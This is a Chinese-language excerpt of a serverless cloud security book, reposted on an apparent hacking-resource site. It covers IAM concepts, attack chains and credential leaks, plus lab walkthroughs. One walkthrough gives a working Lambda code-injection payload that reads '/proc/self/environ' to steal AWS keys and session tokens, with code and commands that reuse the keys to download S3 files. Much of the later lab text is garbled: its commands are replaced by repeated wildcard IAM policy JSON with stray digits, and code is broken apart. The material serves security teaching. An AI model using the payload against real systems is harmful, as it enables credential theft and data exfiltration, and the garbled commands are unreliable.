GO
以下展示内容为小密圈部分资料,完整资料可联系教父加群
误区一:无服务器 == FaaS
谈到无服务器计算,首先想到的就是函数即服务(FaaS),包括 AWS Lambda、Azure Functions 和 Google Cloud Functions。使用 FaaS,开发人员只需专注于编写由 HTTP 请求等来源的事件以及其他云资源的事件触发的函数代码。
在这些函数中,您可以:
编写并实现自定义业务逻辑代码
使用应用程序运行时环境中包含和安装的库和包
利用应用程序编程接口 (API) 和软件开发工具包 (SDK),利用云平台的其他服务和功能执行专门的任务。这些专门的任务可能包括处理和转换数据、使用人工智能服务分析图像,甚至使用托管云服务训练机器学习模型。
使用 API 和 SDK 在云平台中创建、管理、修改或删除其他资源。例如,无服务器函数可以使用多种基础设施即代码(IaC) 服务,根据配置文件自动创建 DevOps 流水线。
触发其他无服务器功能
与其他非无服务器资源(如虚拟机 (VM) 实例和数据库)协作
如果你想知道这些函数是如何实现的,这里有一个用 Python 实现的 AWS Lambda 函数的简单示例。
例 1-1: Python 中的 AWS Lambda 函数实现示例
import json
# ... (insert imports here) ...
def lambda_handler(event, context):
role = event.get('role')
endpoint_name = event.get('endpoint_name')
package_arn = event.get('package_arn')
model_name = random_string()
create_model(model_name, package_arn, role)
endpoint_config_name = create_endpoint_config(model_name)
create_endpoint(endpoint_name, endpoint_config_name)
return {
'statusCode': 200,
'body': json.dumps(event),
'model': model_name
}
这里,我们有一个函数,它使用名为Amazon SageMaker的托管机器学习服务自动配置和预置一个由无服务器机器学习驱动的终端节点。它利用从另一个文件导入的其他自定义实用程序函数(例如random_string
,、、和)。然后create_model
,该函数在由来自另一个云资源的事件触发时执行。此云资源可以是 Amazon API Gateway HTTP API,它接受来自浏览器的 HTTP 请求,并将请求“转换”为事件(包含所需的一组输入参数),从而触发类似于图 1-1中的无服务器函数。create_endpoint_config
create_endpoint
函数执行完成后,会将函数返回值发送回 Amazon API Gateway HTTP API。之后,该函数返回值会被 HTTP API 转换为 HTTP 响应。
无服务器计算常常被误解为仅限于 FaaS。尽管 FaaS 是一种流行的无服务器计算方法,但需要注意的是,无服务器计算不仅仅包含 FaaS。换句话说,FaaS 是一种无服务器计算,但并非所有无服务器计算都是 FaaS。
在无服务器架构的背景下,各种服务可以作为构建块,相互连接,从而创建复杂且可扩展的应用程序。这些服务可能提供事件驱动计算、API 管理、对象存储触发器、完全托管的数据库、工作流协调和分布式消息传递等功能。通过利用这些服务的互联特性,开发人员能够根据其独特的用例、需求和业务需求定制无服务器应用程序。
也就是说,在讨论无服务器安全性时,您必须考虑所有属于无服务器类别的服务,这些服务不一定是 FaaS。同时,您还必须担心非无服务器资源,因为无服务器和非无服务器资源很可能共存于同一个云环境或帐户中。
误区二:无服务器计算和容器化不能很好地协同工作
在上一节中,我将无服务器计算定义为一种抽象底层基础设施的运营模型,以便开发人员和工程师可以专注于编写代码。而容器化则提供了一种跨不同环境打包和运行应用程序的可移植方式。人们普遍误以为,在云计算领域,无服务器计算和容器化解决方案无法很好地融合。事实并非如此,因为无服务器计算和容器化解决方案可以有效地结合起来构建现代应用程序。
借助无服务器容器,开发人员可以将其应用程序打包在容器(例如 Docker 容器)中,并将其部署到容器编排平台(例如 AWS Fargate、Azure Container Apps 或 Google Cloud Run)。
并非所有无服务器实现都涉及容器解决方案和策略(至少从开发者的角度来看)。然而,对于允许开发者和工程师提供自定义容器镜像的无服务器实现,你还需要考虑容器和容器镜像的安全性。
首先,容器镜像中可能包含旧版本的库,这些库可能容易受到特定类型的攻击。此外,开发人员还可能意外地在容器镜像中安装恶意软件包,从而窃取开发人员在容器内运行的应用程序中使用的凭据。因此,作为漏洞管理计划的一部分,无服务器系统中使用的容器和容器镜像必须接受审计和检查。
误区三:无服务器应用程序仅支持有限数量的语言
有一种误解认为无服务器服务支持的语言有限。几年前确实如此,当时这些服务尚处于起步阶段,刚推出时仅支持两三种语言。当然,随着越来越多的开发者要求支持更多语言和语言版本,云提供商扩展了这些服务对语言的支持,以适应更广泛的语言范围,从而解决了早期无服务器平台的局限性。
值得注意的是,无服务器平台的语言支持在不断发展,不断增加新语言,并对现有语言进行更新。这反映了无服务器计算领域的动态特性,因为云平台致力于满足开发人员的需求,并使无服务器计算更易于访问和更通用。
无服务器平台中语言支持情况的不断演变,可能会对工程师在构建和管理无服务器应用程序时如何处理安全需求产生影响。不同的编程语言有各自的安全考虑因素,包括保护用这些语言编写的应用程序代码的最佳实践。首先,编程语言的成熟度和生态系统会影响不同语言库实现的差异。为一种相对较新的编程语言开发的库可能存在其他更成熟语言的对应库所没有的安全漏洞(因为这些漏洞可能在几年前就已被检测和修复)。工程师需要注意这些特定于语言的安全考虑因素,并确保无论使用何种语言,其无服务器应用程序的设计、编码和配置都是安全的。
误区四:无服务器应用程序难以管理
在某些情况下,管理无服务器应用程序可能会变得颇具挑战性。如果无服务器应用程序使用多个以高度协调的方式相互交互的函数或微服务,则更是如此。管理 2 个函数的协调和排序绝对比管理 10 个不同函数的协调和排序(类似于图 1-3中所示的情况)要容易得多!
除此之外,即使无服务器服务和平台提供内置的监控和调试功能,如果应用程序具有复杂的事件驱动流程,管理相对较大(比如大约 30 个无服务器函数)的无服务器系统的监控和调试工作也会变得非常具有挑战性。如果需要跨多个函数或服务执行跟踪和调试问题,情况可能也是如此。同时,准备每个无服务器资源使用的细粒度身份和访问管理 (IAM) 角色和策略(以允许这些资源执行操作)可能非常耗时且难以管理。
等等!那么,我们是不是说无服务器应用程序难以管理并非无稽之谈?与所有类型的工程系统一样,拥有相对较多资源和组件的无服务器应用程序和系统可能难以管理。几年前,只有非常有限的工具和服务可以使用无服务器服务来支持复杂的需求。然而,如今,帮助工程师管理更复杂的无服务器应用程序的生态系统和工具已经足够成熟,可以支持大多数场景和案例。
以下是处理相对复杂的无服务器项目时可以使用的推荐解决方案列表:
采用事件驱动架构
利用消息队列和事件流等托管服务
在无服务器应用程序设计中采用模块化和面向微服务的方法
使用无服务器框架,为部署和管理无服务器应用程序提供实用的抽象和自动化
使用专门针对无服务器系统的错误跟踪、调试和监控工具
基础设施即代码 (IaC) 实践的实施和执行
使用编排和工作流工具和服务来管理无服务器应用程序中的功能和其他资源的协调、顺序和流程
使用部署工具来自动化并确保无服务器应用程序的部署和发布管理的一致性
当然,无需同时采用所有这些建议。工程团队应该根据所涉及的无服务器应用程序的复杂程度,选择合适的解决方案和流程。话虽如此,无服务器应用程序难以管理的说法并不完全准确。通过合理的规划以及使用合适的工具、服务和策略,复杂的无服务器应用程序应该更易于管理和预测。
误区五:无服务器应用程序不会受到安全攻击
开发人员、工程师和其他技术专业人员可能认为无服务器应用程序不会受到安全攻击。首先,“无服务器”一词可能具有误导性,因为它暗示应用程序架构中不涉及任何服务器。实际上,无服务器应用程序仍然在由云提供商管理的服务器上运行。与任何其他应用程序一样,无服务器应用程序也容易受到安全漏洞的影响。此外,技术专业人员可能认为云平台提供的托管安全功能足以使无服务器应用程序免受安全攻击,而没有意识到在应用程序和配置级别仍然需要额外的安全措施。一些开发人员和工程师可能没有意识到与无服务器应用程序相关的潜在安全风险。这种缺乏意识或知识也可能导致错误地认为无服务器应用程序不会受到安全攻击。
值得注意的是,虽然无服务器服务和架构可能提供某些安全优势,但它们并非天生就能免受安全攻击。使用 FaaS 服务的无服务器应用程序仍然依赖开发人员的代码来执行自定义业务逻辑。如果代码中存在漏洞,攻击者可以利用这些漏洞,就像其他应用程序级攻击一样。无服务器系统也可能容易受到拒绝服务(DoS) 攻击,攻击者向应用程序发送大量请求,导致应用程序不堪重负,并导致应用程序无响应或不可用。这些系统还可能容易受到拒绝钱包(DoW) 攻击,攻击者向应用程序发送大量请求,对运行应用程序的账户所有者造成经济损失(因为部署的无服务器资源的资源使用量和执行量会不合理地增加,导致账户所有者需要支付更高的费用)。
无服务器安全简介
为了理解无服务器安全的范围,我们必须了解云平台所倡导的共享责任模型。虽然 AWS、Azure 和 GCP 的实施方式可能存在细微差异,但核心原则总体上是一致的。首先,无论云资源的部署和使用类型如何,云帐户所有者始终负责云帐户中的数据、端点、帐户和访问管理(应位于图表的上半部分)。
如图 3-1所示,我们可以看到云提供商负责图表下半部分的内容(包括物理和硬件安全)。这意味着我们无需担心这些,因为云提供商保证通过其在基础设施层面的全面安全框架和措施来处理这些问题。
那么,无服务器计算将如何改变游戏规则呢?无服务器稍微改变了这种责任共担的模式,因为开发人员只需关注应用程序代码以及他们能够掌控的其他几个重点领域。在某些情况下,云提供商允许开发人员设置和上传自己的自定义容器镜像环境(无服务器函数代码在其中运行)。但是,由于存在默认的运行时环境,开发人员通常需要关注在无服务器函数资源中部署的代码的安全性。
无服务器计算的核心在于,它允许您根据事件(无论是 HTTP 请求、数据库修改还是其他触发器)运行代码,而无需担心服务器管理。AWS Lambda、Azure Functions 和 Google Cloud Functions 等无服务器函数服务就体现了这种方法。然而,尽管无服务器具有诸多优势,但也带来了一系列独特的安全挑战。
无服务器函数的短暂性意味着传统的安全工具可能无法直接使用或应用。因此,重点将转移到保护代码、配置、第三方库以及确保适当的访问权限上。
过去有助于保护单体应用程序的安全策略和解决方案可能不足以保护利用多种云资源的无服务器架构的分布式设置。
由于无服务器功能可以由各种事件触发,因此确保只有授权触发器才能启动这些功能至关重要。此外,执行最小权限原则也至关重要,因为每个无服务器组件或资源应该只拥有执行指定任务集的最低权限。由于无服务器应用程序严重依赖第三方库和服务,因此确保这些依赖项保持最新且无漏洞也至关重要。
我们将在本书的后续章节中更详细地讨论这些问题。
了解身份和访问管理在云中的工作原理
当我们思考身份和访问管理 (IAM) 时,我们通常会想到一种机制或流程,类似于机场设置的多个安全检查点,只有持有有效机票和身份证明的乘客才能进入机场的特定区域(例如,乘客登机前的候机室)。试图登错飞机的乘客将被拒绝进入,这类似于系统确保个人只能进入其明确授权的区域或访问其明确授权的资源的方式。
IAM 是云安全的关键环节,它允许正确管理身份并控制对云环境中资源的访问。本节重点介绍三大云平台(AWS、Azure 和 GCP)中的 IAM 概念和术语。
AWS
AWS IAM 可帮助您根据以下权限安全地控制对 AWS 资源的访问:
用户:表示与 AWS 资源交互的个人、系统或应用程序。用户拥有唯一凭证,并可分配特定权限。例如,用户可以是需要访问 AWS 资源进行开发工作的开发人员或工程师。
组:IAM 用户的集合。您可以将权限分配给某个组,然后将这些权限授予该组中的所有用户,从而更轻松地管理多个用户的权限。例如,您可以创建一个名为“审核员”的组,并为其分配对各种资源的读取权限。添加到“审核员”组的所有用户都将继承这些权限,从而简化整个团队的权限管理。
角色:一组可由用户或 AWS 服务代入的权限。与用户不同,角色没有长期凭证;相反,代入角色时会提供临时安全凭证。在需要临时权限或需要由 AWS 服务(或其他账户的用户)代入权限的场景中,角色非常有用。例如,Lambda 函数可以代入某个角色,以便在特定任务执行期间访问 S3 存储桶。请注意,其他 AWS 账户的用户也可以代入角色,以临时访问资源。
除此之外,您还可以拥有策略,这些策略是用于定义权限配置的 JSON 文档。策略可以附加到用户、组或角色,以授予或拒绝对 AWS 资源的权限。例如,可以配置一个策略以允许对特定 S3 存储桶的读取访问权限,同时拒绝写入访问权限,从而确保其附加到的实体只能从存储桶读取数据,而不能修改其内容。
Azure
AWS IAM 概念和术语在 Azure 上也有其对应的概念和术语:
用户:代表个人,通常具有关联的用户名和密码。例如,公司员工可以拥有一个用户帐户,该帐户可用于登录 Azure,并根据分配给他们的权限访问虚拟机或数据库等资源。
组:用户的集合,方便您同时管理多个用户的权限。例如,一家公司可能有一个“开发者”组,通过向该组分配权限,该组中的所有开发者帐户都会继承这些权限,从而简化权限管理。
托管标识:由 Azure 自动管理的标识。它用于对 Azure 中运行的服务进行身份验证,而无需在代码中存储任何凭据。例如,当 Azure 函数需要访问数据库时,可以使用托管标识对数据库进行身份验证,而无需在代码中存储凭据。
地理控制协议
最后,让我们定义和描述 GCP 上的重要 IAM 概念和术语:
成员:可被授予 GCP 资源访问权限的实体(例如用户、群组、服务帐号或网域)。例如,拥有 @gmail.com 地址的用户、拥有 @google.com 地址的群组、服务帐号或整个网域都可以成为 GCP 的成员。
角色:可授予成员的权限集合。GCP 中的角色与 AWS 角色不同。它们并非定义一组要承担的凭证,而是封装一组权限。例如,存在针对常见用例的预定义角色(例如“编辑者”或“查看者”),而可以根据更具体的需求创建自定义角色。在实际场景中,GCP 设置可以包含诸如“存储管理员”之类的角色,这些角色拥有诸如 storage.buckets.create 之类的权限来管理存储资源。
权限:一种细粒度的访问规范。它定义了哪些资源允许执行哪些操作。
策略:将一个或多个角色与一个或多个成员绑定,决定成员可以对资源执行哪些操作。在 GCP 中,策略会附加到资源上。
服务帐号:一种特殊类型的帐号,由应用程序或虚拟机(而非用户)用于与其他 GCP 服务交互。它拥有一套专属凭证。
此时,只需快速了解相关的 IAM 概念和术语,您就应该已经知道 IAM 控制着人类用户和云资源的访问权限的管理。
针对无服务器应用程序的攻击链
无服务器架构由于其组件的事件驱动和无状态特性,引入了一系列传统安全模型中不存在的独特挑战和攻击向量。针对无服务器应用程序的攻击链通常利用此类架构的事件驱动特性以及与系统中云资源相关的各种触发器。
攻击链是一个术语,用于描述攻击者利用系统漏洞并接管云帐户和环境的连续步骤。它通常始于初始侦察阶段,在此阶段,攻击者收集信息并识别漏洞;然后利用这些漏洞获取未经授权的访问权限;最后,进一步进行恶意活动,例如横向移动、权限提升、数据泄露或其他有害操作。
了解攻击链有助于安全专业人员和组织通过识别和缓解攻击链每个阶段的漏洞来更好地预测、预防和应对安全威胁。
无服务器应用程序的一个常见攻击途径是利用不安全的无服务器函数权限。由于无服务器架构严重依赖权限和角色来授予或拒绝函数执行,因此配置错误可能导致未经授权的访问。攻击者可以在未经适当授权的情况下调用函数,从而导致潜在的数据泄露或系统操控。一个值得注意的例子是利用 AWS 中的 IAM:PassRole 或 Google Cloud 中的 iam.serviceAccounts.actAs 等权限为无服务器函数添加额外的云角色。这将使云函数能够执行超出原始权限设置的操作。
另一个常见的漏洞来自注入攻击。由于无服务器应用程序事件驱动的特性,它们通常接受来自各种来源的输入,例如 HTTP 请求、云存储和数据库。如果输入未经过适当的过滤,攻击者就可以注入恶意代码或命令,从而导致未经授权的操作。在 AWS 上托管的典型无服务器 Web 应用程序中,静态网站可能托管在 Amazon S3 存储桶中,并通过 API 网关提供 RESTful API 终端节点。此设置会触发 Lambda 函数来运行应用程序的代码,所有应用程序数据都存储在 DynamoDB 数据库中。在这样的设置中,如果来自 API 请求的输入未经过适当的过滤,则可能导致注入攻击,即通过 Lambda 函数执行恶意代码或命令。这种情况构成了攻击链的基础,其中一个漏洞或配置错误会导致一系列未经授权的操作。在这种情况下,注入攻击成为攻击者渗透无服务器架构的入口点,利用 AWS 服务的互联性来传播恶意活动。一旦初始注入攻击攻陷了 Lambda 函数,攻击者便可利用此漏洞对 DynamoDB 数据库发起后续攻击或执行未经授权的操作,甚至进一步探索以识别和利用无服务器应用程序其他组件的漏洞。通过这一系列漏洞利用,攻击者可能会攻陷其他资源,甚至对 DynamoDB 数据库中存储的数据执行未经授权的操作。
在云中执行渗透测试的指南
云环境的复杂性带来了本地环境中可能不存在的独特挑战。例如,在云中设置易受攻击的资源和应用程序可能会使您的云资源面临未经授权的外部攻击,因为这些设计易受攻击的资源可能容易受到安全攻击。
想象一下,你的帐户被随机攻击者入侵了!鉴于你将设置各种易受攻击的资源和环境,以测试和验证本书中关于如何攻击特定错误配置和无服务器实现的特定技术,你需要确保这些环境中的资源只能由授权用户(也就是你!)访问。
渗透测试涉及模拟攻击,以发现现有应用程序和系统中的潜在漏洞。此类测试在受控条件下(理想情况下在隔离环境中)进行,以防止中断并遵守法律和道德准则。在云中进行渗透测试时需要考虑几个事项。首先,重要的是要了解云平台内允许哪些操作和活动类型。例如,在进行某些类型的活动之前,是否必须事先通知或授权。此外,还必须考虑攻击模拟产生的流量是否会通过公共互联网。云平台拥有严格的准则,旨在确保其基础设施的安全。需要注意的是,某些活动可能被云服务提供商视为过度或有害的。例如,云提供商不允许帐户所有者针对云平台员工发起社会工程攻击。此外,云提供商也不允许帐户所有者攻击和破坏其他帐户所有者和平台用户拥有的资源。
话虽如此,确保所有活动符合平台的可接受使用政策和服务条款至关重要。大多数云提供商都维护详细的文档,以帮助用户了解渗透测试中允许和不允许的操作:
AWS:https://aws.amazon.com/security/penetration-testing/
Azure:https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement
谷歌云平台:https://support.google.com/cloud/answer/6262505
凭证泄露
在构建应用程序和系统时,开发人员可以利用并集成各种第三方服务,以避免从头构建整个模块,从而显著加快开发周期。以下是一些在构建应用程序时通常会集成的第三方 API 和服务的示例:
用于处理在线支付和金融交易的支付处理 API 和服务
用于身份验证和授权的身份管理 API 和服务
用于营销和电子邮件传递的电子邮件传递 API 和服务
用于跟踪和报告网站流量的 Web 分析 API 和服务
用于发送短信和启用移动通知的 SMS API 和服务
为了与这些外部 API 和服务进行交互和集成,开发人员必须使用这些平台提供的访问凭证。由于开发人员需要在紧迫的应用程序开发时间内完成开发,他们有时会跳过一些步骤,并认为忽略一些安全最佳实践不会造成重大负面影响。开发人员经常犯的一个错误是将凭证硬编码并包含在源代码文件中。
以下是开发人员如何在其应用程序代码中存储和使用这些凭据的示例:
例 4-1.应用程序代码中硬编码的凭证
YOUR_3RD_PARTY_API_KEY
=
'XXXXXXXXXXXX'
def
send_email
(
params
):
client
=
SomeAPIClient
(
api_key
=
YOUR_3RD_PARTY_API_KEY
)
client
.
send
(
...
)
...
不幸的是,一旦攻击者能够获取这些凭证,他们就能轻易地利用您的身份执行操作。想象一下,您的应用程序的用户和客户会收到来自公司官方账户的恶意电子邮件!
在使用 Git 等版本控制系统 (VCS) 时,开发人员有时会使用命令添加存储库中的所有文件git add .
。其中一些文件可能是包含用于暂存和生产环境的凭据的配置文件。
这些配置文件最好不要包含在代码仓库中,因为其他开发人员可能会访问他们本不该访问的资源和帐户。此外,开发人员可能会意外地将凭据添加到版本控制系统 (VCS) 历史记录中。虽然包含凭据的配置文件可能不存在于仓库中存储的当前版本代码中,但之前的版本可能仍然包含这些凭据,因为这些凭据已提交并包含在之前的提交中。
也就是说,应该审查并检查存储库提交历史记录:
第三方集成凭证
包含生产数据的数据库转储
生产或暂存配置文件
有权访问代码存储库的恶意行为者可以轻松检出较旧的提交并从较旧版本的应用程序代码中检索访问密钥和凭据,即使这些凭据已在最新版本的代码中删除。
在某些情况下,开发人员可能会意外地将整个代码库的副本推送到公共存储库。令人惊讶的是,攻击者只需几秒钟到几分钟就能扫描公共代码库并提取存储在存储库中的凭据。最好假设,一旦凭据被包含在提交中并推送到公共存储库,它就已经被泄露了。一旦暴露,即使只是短暂的暴露,恶意行为者也可以使用自动化工具和扫描程序访问和利用这些凭据。
在使用第三方 API 和服务时,开发人员可能别无选择,只能使用这些外部平台提供的凭证。话虽如此,开发人员必须采用最佳实践,例如使用环境变量或安全保管库来安全地处理这些凭证。否则,能够窃取并访问您应用程序代码的攻击者也会获取这些凭证。
过度特权的权限和角色
使用云平台 API 时,AWS、Azure 和 GCP 等云提供商能够允许您的应用程序使用各种 API,而无需在应用程序代码中硬编码凭证。在后台,这些平台提供的库和 SDK 只需使用部署应用程序的云资源环境中存储的凭证即可。无服务器函数和服务器等云资源可以附加 IAM 角色或策略等实体,从而允许在这些资源中运行的代码自动承担这些角色并安全地访问其他服务和资源,而无需开发人员在应用程序代码中包含凭证。
想象一下,一个无服务器函数资源(例如 AWS Lambda 函数)附加了一个权限过高的 IAM 角色。不幸的是,该 IAM 角色的权限配置如下:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }
此权限配置存在重大安全风险,因为它授予 Lambda 函数对云帐户内所有资源的(几乎)所有操作的无限制访问权限。这种过度特权的权限会使云环境面临潜在的滥用或入侵风险,尤其是在 Lambda 函数被攻击者利用的情况下。
话虽如此,应避免在这些类型的安全配置中使用星号 (*)。应将其替换为更细粒度的权限,并遵循最小特权原则。该原则规定,实体(例如 IAM 角色或用户)应仅拥有执行其预期功能所需的权限,而不应超过该权限。指定明确的资源和操作可以显著减少攻击面,并有助于防止未经授权的访问或操作。您可能已经猜到,准备具有细粒度权限的安全配置需要相当长的时间。如果您的无服务器应用程序使用多个云资源,那么您可能会倾向于重复使用已附加到某个资源的 IAM 角色,并将此 IAM 角色也附加到其他资源。如果此 IAM 角色对于附加到它的所有资源而言都过于严格,您可能不得不将权限范围扩展到每个资源所严格需要的范围之外,以满足所有关联资源的要求。
如图 4-3所示,最好为云帐户中的每个资源设置并配置单独的 IAM 角色。这样,我们就可以分别配置这些角色,赋予其精细的权限,并强制执行最小特权原则。这样,即使攻击者能够攻陷云帐户中运行的某个资源,由于每个资源都具有严格的安全配置,漏洞的潜在影响也将非常有限。
除了 AWS Lambda 之外,我们在设置环境时还将使用以下服务:
S3 - 简单存储服务
云壳
IAM — 身份和访问管理
首先,我们将通过 Cloudshell 设置一个 S3 存储桶。首先,我们将通过cloudshell
在搜索栏中输入内容并CloudShell
从可用的搜索结果列表中进行选择来浏览 Cloudshell:
Close
当您看到“欢迎使用 AWS CloudShell”窗口时,请随意单击该按钮。
此时,您应该看到类似于下图所示的 CloudShell 终端:
如果您是第一次使用 CloudShell,它是一项允许我们在终端中运行 Bash 命令的服务。这有助于我们在终端界面中管理云资源,而无需启动服务器。
现在,在 CloudShell 终端中运行以下命令:
例 8-1。
echo "FLAG" > flag.txt
这将创建一个名为 flag.txt 的新文件。
现在,让我们创建一个 S3 存储桶:
例 8-2。
S3_BUCKET=<insert bucket name> aws s3 mb s3://$S3_BUCKET
确保选择一个全局唯一的 S3 存储桶名称。您可能需要尝试几次才能获得尚未被其他 AWS 账户所有者创建过的存储桶名称。
创建存储桶后,运行以下命令将 flag.txt 文件上传到 S3 存储桶。
例 8-3。
aws s3 cp flag.txt s3://$S3_BUCKET/flag.txt
请注意,此 flag.txt 文件只是敏感文件的代理,这些文件可能会上传到 S3 存储桶中。您可以尝试直接访问 flag.txt 文件,以检查它是否已公开。
准备好 S3 存储桶和文件后,让我们导航到 Lambda 控制台:
我们将使用第五章“理解无服务器函数的工作原理”中提到的那个易受攻击的无服务器函数。如果你还记得我们在那一章中设置的内容,它是一个 AWS Lambda 函数,代码如下:
如果您已经删除了我们在前几章中创建的易受攻击的函数,请随意再次创建无服务器函数并将其配置为具有函数 URL。
一旦功能准备就绪,导航至配置>权限,然后单击执行角色以导航至相应的 IAM 角色页面:
请注意,这是附加到功能资源的 IAM 角色。
在 IAM 管理控制台中,打开Add permission
下拉菜单,然后Attach policies
从可用选项列表中选择该选项。
AmazonS3ReadOnlyAccess
现在,从可用的权限策略列表中找到并选择权限。Add permissions
然后点击按钮。
您应该会看到“策略已成功附加到角色。”的成功通知。此处,我们附加了一条策略,赋予 Lambda 函数 S3 只读访问权限。虽然 Lambda 函数本身不具备任何与此相关的功能,但攻击者仍然有可能利用此错误配置。
回到 Lambda 控制台,确保无服务器函数配置了函数 URL,因为我们将在下一部分对 URL 端点执行攻击模拟。
在继续下一部分之前,请随意使用一些有效的输入值测试函数 URL。
攻击易受攻击的无服务器应用程序
准备好易受攻击的无服务器应用程序后,我们现在可以模拟攻击者通过 Lambda 函数访问 S3 存储桶内容的一些步骤。
我们首先打开以下 URL 来调用端点并输入恶意负载:
https://[function id].lambda-url.us-east-1.on.aws/
?statement=__import__%28%27subprocess%27%29.check_output
%28%27cat%20%2Fproc%2Fself%2Fenviron%27%2C%20shell%3DTrue%29
在这里,我们尝试运行以下命令作为有效载荷的一部分:
例 8-4。
cat /proc/self/environ
如果你好奇它的作用,它会打印并返回环境中设置的环境变量。这意味着,如果 AWS 访问凭证在环境中,那么使用此命令,我们将能够检索这些凭证以及其他环境变量。
这将返回以下响应:
您可以花几分钟检查一下返回的环境变量值。您应该看到它包含以下环境变量:
AWS 访问密钥 ID
AWS 秘密访问密钥
AWS_SESSION_TOKEN
将响应字符串复制到本地计算机的文本编辑器中,因为我们稍后会使用它来获取访问密钥、机密和令牌。
在单独的 AWS 账户中,打开 CloudShell,然后运行以下 Python 代码:
例 8-5。
extracted_values
=
b
'...'
values
=
extracted_values
.
decode
(
"utf-8"
)
.
replace
(
"
x00
"
,
";"
)
.
split
(
';'
)
result_dict
=
{}
for
pair
in
values
:
(
pair
)
try
:
key
,
value
=
pair
.
split
(
'='
,
1
)
result_dict
[
key
]
=
value
except
:
pass
(
result_dict
)
(
result_dict
[
'AWS_ACCESS_KEY_ID'
])
(
result_dict
[
'AWS_SECRET_ACCESS_KEY'
])
(
result_dict
[
'AWS_SESSION_TOKEN'
])
一旦我们获得了AWS_ACCESS_KEY_ID
、AWS_SECRET_ACCESS_KEY
以及AWS_SESSION_TOKEN
,我们现在就可以创建一个新的配置文件,并在配置配置文件时使用 aws configure 来指定泄露的凭证:
例 8-6。
aws configure
一切准备就绪后,我们现在可以使用以下命令访问 S3 存储桶及其内容:
例 8-7。
aws s3 ls S3_BUCKET=<insert bucket name> aws s3 cp s3://$S3_BUCKET/flag.txt flag.txt
看来,一旦凭证被窃取,攻击者就可以直接下载并窃取 S3 存储桶中的各种文件!想象一下,如果附加到 Lambda 函数的角色拥有管理员权限,情况会怎样?这意味着,攻击者在获取访问密钥、密钥和令牌后,就能配置 CLI 并创建具有管理员权限的新 IAM 用户。攻击者现在可以使用新 IAM 用户的凭证登录,并访问账户中的所有资源。很可怕,对吧?
清理
现在我们已经演示了如何攻击与具有额外权限的 IAM 角色关联的无服务器函数,接下来可以继续删除相关资源。请务必移除函数 URL 并选择删除无服务器函数,以确保攻击者无法访问易受攻击的资源。
S3 存储桶配置错误的原因有很多。以下是一些可能的情况:
任何人都可以上传和修改 S3 存储桶中的文件
任何人都可以从 S3 存储桶列出、读取和下载文件
授权用户可以上传和修改 S3 存储桶中的文件
授权用户可以从 S3 存储桶列出、读取和下载文件
这样一来,我们易受攻击的 S3 存储桶会是什么样子呢?我们将继续(错误地)配置我们的 S3 存储桶,以允许授权用户从包含潜在敏感信息的 S3 存储桶中列出、读取和下载文件。
话虽如此,让我们继续准备这个 S3 存储桶。cloudshell
在 AWS 管理控制台的搜索栏中输入。CloudShell
从结果列表中选择(如图 11-1所示)。
这会将您重定向到类似于图 11-2中的页面。
点击Close
按钮继续。此时,我们应该能够在$
符号后运行终端命令。
在符号后运行以下命令$
。确保指定唯一的 S3 存储桶名称。
例 11-1。
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }0
为了确认对象所有权配置已正确指定,我们可以运行以下命令:
例 11-2。
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }1
接下来,让我们使用以下命令更新存储桶配置:
例 11-3。
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }2
接下来,创建一个包含以下策略配置的 policy.txt 文件:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }3
按i
切换到插入模式。键入或粘贴以下策略配置。
例 11-5。
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }4
按下Esc
键切换到正常模式。输入:wq!
,然后按下Enter
键保存对 policy.txt 文件所做的更改。
要替换your-s3-bucket-name
为您的 S3 存储桶的名称,请运行以下命令:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }5
现在,使用以下命令使用policy.txt
您在上一步中创建的文件更新我们的 S3 存储桶的存储桶策略:
例 11-7。
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }6
现在,让我们更新 ACL 配置并允许经过身份验证的用户读取我们的 S3 存储桶内的文件:
例 11-8。
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }7
让我们使用以下命令上传示例 TXT 文件:
例 11-9。
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }8
此时,我们有一个易受攻击的 S3 存储桶,我们将在接下来的章节中对其进行测试和保护。
使用 AWS 管理控制台验证配置
现在,让我们快速验证我们的终端命令是否按预期工作:
使用图 11-5中突出显示的搜索框,找到并导航到我们在本章前面创建的 S3 存储桶。
打开Properties tab
,向下滚动并找到Object Ownership settings
:
在这里,我们应该发现对象所有权被设置为Object Writer
。
接下来,为了确认公共访问设置已正确(错误)配置,我们应该使用控制台看到以下内容:
在 ACL 配置中,我们也应该有类似这样的内容:
验证配置设置后,您现在可以继续验证下一部分中已知的对 S3 存储桶的攻击之一。
攻击易受攻击的存储桶
攻击 S3 存储桶非常简单!第一步是使用其他 AWS 账户登录。鉴于授权用户组包含所有其他 AWS 账户,这意味着所有拥有 AWS 账户的用户都可以访问您创建的 S3 存储桶。
这样,只需打开 CloudShell 并运行以下命令,另一个 AWS 帐户用户就可以列出、读取和下载 S3 存储桶中的任何文件:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }9
之后,您可以尝试使用该aws s3 cp
命令下载易受攻击的 S3 存储桶内的文件。
现在,尝试以下命令:
例 11-11。
echo "FLAG" > flag.txt0
当然,如果您尝试公开访问 S3 存储桶,您将收到“访问被拒绝”错误。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...